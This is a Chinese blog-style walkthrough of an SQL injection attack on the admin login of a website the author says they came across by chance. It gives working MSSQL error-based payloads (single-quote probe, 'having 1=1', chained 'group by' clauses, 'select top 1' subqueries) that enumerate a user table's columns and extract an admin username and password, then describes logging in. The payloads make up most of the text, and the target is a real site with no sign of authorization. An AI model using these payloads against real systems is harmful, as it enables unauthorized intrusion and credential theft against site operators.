Autor QQ:964323781
偶遇某站,发现后台登录模块存在注入。
帐号填写’a,密码随意,登录。
帐号填写’a,密码随意,登录。
如果返回了错误页面 那么百分之99是注入点。
果不其然,返回了错误页面。
页面上直接显示了错误信息,这就说明当前网站运行在MSSQL显错模式下,这样我们就可以使用group by和having语句来直接爆出我们需要的数据了。
帐号写:
1 |
' having 11=1 -- |
密码随意。
上图中用红色圈起来的 “ismis_SysUsers.userId”中,ismis_SysUsers是表名,userid 是字段。
现在有了一个字段,在ismis_SysUsers中肯定还有其他的字段,我们试一下爆下一个字段。
帐号写:
1 |
' group by ismis_SysUsers.userId having 11=1 -- |
密码随意 。
这次的字段名是loginName。
再爆下一个,帐号输入:
1 |
' group by ismis_SysUsers.userId,ismis_SysUsers.loginName having 11=1 -- |
密码随意。
接下来,下一个:
1 |
' group by ismis_SysUsers.userId,ismis_SysUsers.loginName,ismis_SysUsers.loginPassword having 11=1 -- |
到这里 其实我们不用接下去了。
我们来爆字段的内容。
上文中的loginName 和loginPassword,就是登陆用户名和密码的字段。
上文中的loginName 和loginPassword,就是登陆用户名和密码的字段。
帐号填写:
1 |
' and ( select top 1 ismis_SysUsers.loginName from ismis_SysUsers)>0 -- |
密码任意。
loginname字段里面的内容是admin2sys,也就是登录的用户名是admin2sys。
然后来爆loginPassword(密码)字段!
帐号填入:
然后来爆loginPassword(密码)字段!
帐号填入:
1 |
' and ( select top 1 ismis_SysUsers.loginPassword from ismis_SysUsers)>0 -- |
密码依然任意。
成功爆出字段内容为123xxx123。
登陆一下,看看是否正确。
小编注:
在MSSQL显错模式注入中,group by 和 having语句可以加快我们的注入进度。
这篇文章只是一个实例演示,如果对这种技术手法不了解,请搜索“sql注入 group by having”等关键词了解。